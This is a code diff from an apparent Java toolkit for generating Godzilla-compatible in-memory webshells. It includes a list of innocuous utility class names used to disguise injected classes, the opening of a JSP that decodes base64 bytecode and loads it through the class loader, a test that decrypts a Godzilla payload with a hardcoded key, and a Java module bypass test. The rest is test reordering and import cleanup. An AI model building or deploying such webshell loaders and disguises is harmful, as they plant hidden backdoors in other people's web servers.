return PACKAGE_NAMES[new Random().nextInt(PACKAGE_NAMES.length)] + "." + getRandomString(5);
}
@@ -51,8 +52,6 @@ public class CommonUtil {
return getRandomPackageName() + ".ErrorHandler";
}
public static final String[] INJECTOR_CLASS_NAMES = new String[]{"SignatureUtils", "NetworkUtils", "KeyUtils", "EncryptionUtils", "SessionDataUtil", "SOAPUtils", "ReflectUtil", "HttpClientUtil", "EncryptionUtil", "XMLUtil", "JSONUtil", "FileUtils", "DateUtil", "StringUtil", "MathUtil", "HttpUtil", "CSVUtil", "ImageUtil", "ThreadUtil", "ReportUtil", "EncodingUtil", "ConfigurationUtil", "HTMLUtil", "SerializationUtil"};
public static String generateInjectorClassName() {
return getRandomPackageName() + "." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)];
}
+6
View File
@@ -1,3 +1,9 @@
<%@ page import="java.lang.Class" %>
<%@ page import="java.lang.ClassLoader" %>
<%@ page import="java.lang.Exception" %>
<%@ page import="java.lang.Object" %>
<%@ page import="java.lang.String" %>
<%@ page import="java.lang.Thread" %>
<%!
public byte[] decodeBase64(String bytecodeBase64) {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
@@ -19,20 +19,6 @@ import static org.junit.jupiter.api.condition.JRE.JAVA_17;
* @since 2024/12/7
*/
class ByPassJavaModuleInterceptorTest {
static class TestClass {
static {
System.out.println("TestClass");
}
public TestClass() {
}
public String hello() {
return "hello";
}
}
@Test
@SneakyThrows
@EnabledOnJre(JAVA_17)
@@ -62,4 +48,18 @@ class ByPassJavaModuleInterceptorTest {
}
}
static class TestClass {
static {
System.out.println("TestClass");
}
public TestClass() {
}
public String hello() {
return "hello";
}
}
}
@@ -77,6 +77,22 @@ class LogRemoveVisitorWrapperTest {
verify(methodVisitor).visitMethodInsn(Opcodes.INVOKEVIRTUAL, "java/lang/String", "length", "()I", false);
}
@Test
void testIntegration() throws Exception {
// Use ByteBuddy to create a new class with log statements removed
DynamicType.Unloaded<TestClass> make = new ByteBuddy()
.redefine(TestClass.class)
.name("com.reajason.javaweb.buddy.TestClass1")
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
.make();
byte[] bytes = make.getBytes();
Files.write(Paths.get("xx.class"), bytes);
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
modifiedClass.getMethod("methodWithLogs").invoke(instance);
}
public static class TestClass {
public TestClass() {
}
@@ -93,20 +109,4 @@ class LogRemoveVisitorWrapperTest {
}
}
}
@Test
void testIntegration() throws Exception {
// Use ByteBuddy to create a new class with log statements removed
DynamicType.Unloaded<TestClass> make = new ByteBuddy()
.redefine(TestClass.class)
.name("com.reajason.javaweb.buddy.TestClass1")
.visit(new AsmVisitorWrapper.ForDeclaredMethods()
.method(ElementMatchers.any(), LogRemoveMethodVisitor.INSTANCE))
.make();
byte[] bytes = make.getBytes();
Files.write(Paths.get("xx.class"), bytes);
Class<?> modifiedClass = make.load(getClass().getClassLoader()).getLoaded();
Object instance = modifiedClass.getDeclaredConstructor().newInstance();
modifiedClass.getMethod("methodWithLogs").invoke(instance);
}
}
@@ -66,7 +66,7 @@ class GodzillaManagerTest {
}
@Test
void testRestorePayload(){
void testRestorePayload() {
String payload = "k2qs7l3%2F4ZZaGyyrfpBQGg0dXGM%2BFVFxzmCWLnyFEgoPSpSjHre4o1HBHTCFnNDX";
String key = "d8ea7326e6ec5916";
Map<String, String> map = GodzillaManager.restorePayload(key, payload);
@@ -1,7 +1,7 @@
package com.reajason.javaweb.memsell.tomcat.godzilla;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.config.GodzillaConfig;
import com.reajason.javaweb.config.ShellConfig;
import com.reajason.javaweb.memsell.GodzillaGenerator;
import com.reajason.javaweb.util.ClassUtils;
import com.reajason.javaweb.util.CommonUtil;